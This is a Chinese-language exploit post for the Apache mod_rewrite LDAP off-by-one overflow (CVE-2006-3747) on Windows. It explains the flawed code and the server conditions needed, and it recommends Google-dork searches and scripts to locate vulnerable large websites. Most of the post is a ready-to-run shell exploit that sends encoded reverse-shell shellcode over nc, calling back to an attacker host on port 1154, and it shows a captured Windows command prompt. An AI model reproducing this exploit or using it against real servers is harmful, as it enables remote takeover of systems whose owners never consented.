上次在irc里演示另外一个漏洞获得的cmd banner,结果被swan大牛误以为是这个漏洞,于是最近利用闲暇时间,跟了一下这个漏洞。 这个漏洞在windows上似乎非常通用,直接就跑去运行我的shellcode了,就是shellcode有些限制。
不过该漏洞对于服务器的条件有些限制
* The RewriteRule allows the attacker to control the initial part of the rewritten URL (for example if the substitution URL starts with $1)
* The RewriteRule flags do NOT include any of the following flags: Forbidden (F), Gone (G), or NoEscape (NE).
具体可以参考
http://www.vuxml.org/freebsd/dc8c08c7-1e7c-11db-88cf-000c6ec775d9.html
同时该漏洞还受编译器的影响,因为是off by one。对于有些编译器,习惯性会在ebp后面填充一些字节,以达到对齐,比如gcc,所以redhat上默认是不受影响的。
但是该漏洞在win上是可以利用的。而且从我的效果来看,好象还是非常通用的。
判断是否存在漏洞可以有些方法,比如提交payload过去,webserver返回302,那么就不存在该漏洞。 如果对方返回400,那么很可能就是因为rewrite规则不符合条件,所以无法触发该漏洞。
shellcode有些badchar,需要过滤掉比如? /等特殊字符,我这里直接用了一个比较BT的shellcode,而且还alpha2 encoded了,省得麻烦。大家可以去metasploit生成。
payload前面那些填充字符,比如Ph4nt0m等,好象跟漏洞本身是无关的,数目也随意,具体没仔细跟。
出问题的代码是:
2696 /* escape absolute uri, which may or may not be path oriented.
2697 * So let's handle them differently.
2698 */
2699 static char *escape_absolute_uri(ap_pool *p, char *uri,
unsigned scheme)
2700 {
2701 char *cp;
2702 ...
...
2727 /* special thing for ldap.
2728 * The parts are separated by question marks. From RFC 2255:
2729 * ldapurl = scheme "://" [hostport] ["/"
2730 * [dn ["?" [attributes] ["?" [scope]
2731 * ["?" [filter] ["?" extensions]]]]]]
2732 */
2733 if (!strncasecmp(uri, "ldap", 4)) {
2734 char *token[5];
2735 int c = 0;
2736
2737 token[0] = cp = ap_pstrdup(p, cp);
2738 while (*cp && c < 5) {
2739 if (*cp == '?') {
2740 token[++c] = cp + 1;
2741 *cp = '\0';
2742 }
2743 ++cp;
2744 }
In the case that an LDAP URI contains a fifth '?' the line 2740 causes
an off-by-one overflow, it's writing in token[5].
具体可以参考 http://www.securityfocus.com/archive/1/archive/1/443870/100/0/threaded
可以利用google hacking来找有漏洞的站,因为用到mod_rewrite的,一般都是大站,比如把php伪装成htm或html,那么肯定用了mod_rewrite,那么可以直接google关键字 allinurl:"htm?id=" 因为使用了动态调用的htm,肯定是伪装过了,类似的方法来找。然后可以写一个自动化的脚本,去判断这些网站哪些是apache (Win32),这个在http头里会显示。
或者大家有其他更好的方法?
最后,附上我的exploit,请根据我注释里写的httpd.conf修改.
#!/bin/sh # Exploit for Apache mod_rewrite off-by-one(Win32). # # by axis <axis@ph4nt0m> # http://www.ph4nt0m.org # 2007-04-06 # # Tested on Apache 2.0.58 (Win32) # Windows2003 CN SP1 # # Vulnerable Apache Versions: # * 1.3 branch: >1.3.28 and <1.3.37 # * 2.0 branch: >2.0.46 and <2.0.59 # * 2.2 branch: >2.2.0 and <2.2.3 # # # Vulnerability discovered by Mark Dowd. # CVE-2006-3747 # # first POC by jack <jack\x40gulcas\x2Eorg> # 2006-08-20 # http://www.milw0rm.com/exploits/2237 # # # # to successfully exploit the vuln,there are some conditions # http://www.vuxml.org/freebsd/dc8c08c7-1e7c-11db-88cf-000c6ec775d9.html # # # some compilers added padding to the stack, so they could not be exploited,like gcc under redhat # # for more details about the vuln please see: # http://www.securityfocus.com/archive/1/archive/1/443870/100/0/threaded # # # no opcodes needed under windows! # it will directly run our shellcode # # my apache config file # [httpd.conf]: # RewriteEngine on # RewriteRule 1/(.*) $1 # RewriteLog "logs/rewrite.log" # RewriteLogLevel 3 # # # Usage: # [axis@security-lab2 xploits]$ sh mod_rewrite.sh 10.0.76.141 # mod_rewrite apache off-by-one overflow # # [axis@opensystemX axis]$ nc -vv -n -l -p 1154 # listening on [any] 1154 ... # connect to [x.x.x.111] from (UNKNOWN) [10.0.76.141] 4077 # Microsoft Windows [°?±? 5.2.3790] # (C) °?è¨?ùóD 1985-2003 Microsoft Corp. # # D:\Apache\Apache2>exit # exit # sent 5, rcvd 100 # # # # shellcode 的badchar,我这里用的,其实不需要那么多 # 我跟到两个badchar是 0x3f和 0x0b 其他都是以前生成shellcode习惯性保留的 # 0x00 0x3a 0x22 0x3b 0x7d 0x7b 0x3c 0x3e 0x5c 0x5d 0x3f 0x0b #
echo -e "mod_rewrite apache off-by-one overflow"
if [ $# -ne 1 ] ; then echo "Usage: $0 webserver" exit fi
host=$1
#use ldap:// to trigger the vuln, "Ph4nt0m" is any arbitrary string echo -ne "GET /1/ldap://ph4nt0m/`perl -e 'print "Ph4nt0m"x5'`\ # %3f to trigger the vuln %3fA%3fA%3f\ #string "CCCC.." is any arbitrary string, use %3f to trigger the vuln #%90 is the machine code we will jmp to(NOP),run shellcode from here `perl -e 'print "C"x10'`%3fC%3f%90\ # shellcode,reverse shell to 192.168.0.1 ,port 1154 alpha2 encoded `perl -e 'print "\ \xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49\ \x49\x49\x49\x49\x49\x49\x49\x49\x49\x37\x49\x49\x51\x5a\x6a\x63\ \x58\x30\x42\x30\x50\x42\x6b\x42\x41\x73\x42\x32\x42\x41\x41\x32\ \x41\x41\x30\x41\x41\x58\x50\x38\x42\x42\x75\x69\x79\x79\x6c\x51\ \x7a\x6a\x4b\x50\x4d\x4d\x38\x6b\x49\x79\x6f\x49\x6f\x6b\x4f\x65\ \x30\x4c\x4b\x72\x4c\x45\x74\x51\x34\x4e\x6b\x71\x55\x77\x4c\x6c\ \x4b\x33\x4c\x64\x45\x33\x48\x64\x41\x5a\x4f\x4c\x4b\x72\x6f\x36\ \x78\x4c\x4b\x73\x6f\x45\x70\x66\x61\x4a\x4b\x53\x79\x4e\x6b\x44\ \x74\x4e\x6b\x73\x31\x38\x6e\x55\x61\x79\x50\x6c\x59\x6c\x6c\x4b\ \x34\x6f\x30\x74\x34\x34\x47\x59\x51\x5a\x6a\x76\x6d\x76\x61\x6f\ \x32\x5a\x4b\x79\x64\x55\x6b\x33\x64\x51\x34\x41\x38\x30\x75\x4b\ \x55\x6e\x6b\x33\x6f\x44\x64\x46\x61\x7a\x4b\x32\x46\x6e\x6b\x34\ \x4c\x42\x6b\x6e\x6b\x73\x6f\x77\x6c\x54\x41\x58\x6b\x43\x33\x74\ \x6c\x6c\x4b\x4d\x59\x50\x6c\x74\x64\x75\x4c\x52\x41\x6f\x33\x50\ \x31\x6b\x6b\x72\x44\x4c\x4b\x50\x43\x66\x50\x6c\x4b\x33\x70\x64\ \x4c\x6c\x4b\x74\x30\x65\x4c\x4e\x4d\x4e\x6b\x53\x70\x47\x78\x33\ \x6e\x51\x78\x4c\x4e\x52\x6e\x56\x6e\x58\x6c\x50\x50\x59\x6f\x79\ \x46\x70\x66\x62\x73\x75\x36\x75\x38\x66\x53\x64\x72\x42\x48\x53\ \x47\x32\x53\x50\x32\x71\x4f\x71\x44\x49\x6f\x48\x50\x52\x48\x5a\ \x6b\x48\x6d\x6b\x4c\x65\x6b\x70\x50\x4b\x4f\x68\x56\x61\x4f\x4e\ \x69\x4a\x45\x30\x66\x6e\x61\x78\x6d\x67\x78\x73\x32\x42\x75\x52\ \x4a\x75\x52\x6b\x4f\x7a\x70\x61\x78\x6b\x69\x55\x59\x6c\x35\x6e\ \x4d\x51\x47\x4b\x4f\x4e\x36\x70\x53\x50\x53\x56\x33\x76\x33\x43\ \x73\x32\x73\x31\x53\x52\x73\x6b\x4f\x4a\x70\x70\x68\x6f\x30\x6d\ \x78\x35\x50\x46\x61\x30\x66\x30\x68\x76\x64\x6c\x42\x33\x56\x70\ \x53\x4e\x69\x78\x61\x4c\x55\x75\x38\x4a\x4c\x58\x79\x4c\x6a\x73\ \x50\x53\x67\x6b\x4f\x6a\x76\x73\x5a\x72\x30\x73\x61\x53\x65\x4b\ \x4f\x6a\x70\x52\x46\x31\x7a\x52\x44\x73\x56\x50\x68\x51\x73\x50\ \x6d\x32\x4a\x62\x70\x51\x49\x47\x59\x6a\x6c\x6c\x49\x4b\x57\x42\ \x4a\x73\x74\x6d\x59\x6d\x32\x35\x61\x6f\x30\x48\x73\x4f\x5a\x6f\ \x65\x4c\x49\x39\x6d\x4b\x4e\x33\x72\x54\x6d\x6b\x4e\x33\x72\x34\ \x6c\x6c\x4d\x50\x7a\x57\x48\x4e\x4b\x4c\x6b\x6c\x6b\x71\x78\x32\ \x52\x6b\x4e\x6c\x73\x42\x36\x49\x6f\x73\x45\x65\x78\x6b\x4f\x6e\ \x36\x71\x4b\x42\x77\x43\x62\x53\x61\x76\x31\x70\x51\x30\x6a\x35\ \x51\x62\x71\x76\x31\x72\x75\x43\x61\x4b\x4f\x6e\x30\x73\x58\x4e\ \x4d\x7a\x79\x37\x75\x38\x4e\x31\x43\x4b\x4f\x4a\x76\x30\x6a\x39\ \x6f\x6b\x4f\x70\x37\x6b\x4f\x6e\x30\x45\x38\x39\x77\x54\x39\x79\ \x56\x71\x69\x79\x6f\x53\x45\x56\x64\x69\x6f\x69\x46\x6b\x4f\x62\ \x57\x6b\x4c\x4b\x4f\x6a\x70\x50\x68\x6a\x50\x6f\x7a\x37\x74\x43\ \x6f\x72\x73\x4b\x4f\x6a\x76\x79\x6f\x38\x50\x63\ "'`\ HTTP/1.0\r\n\ Host: $host\r\n\r\n" | nc -vv $host 80
|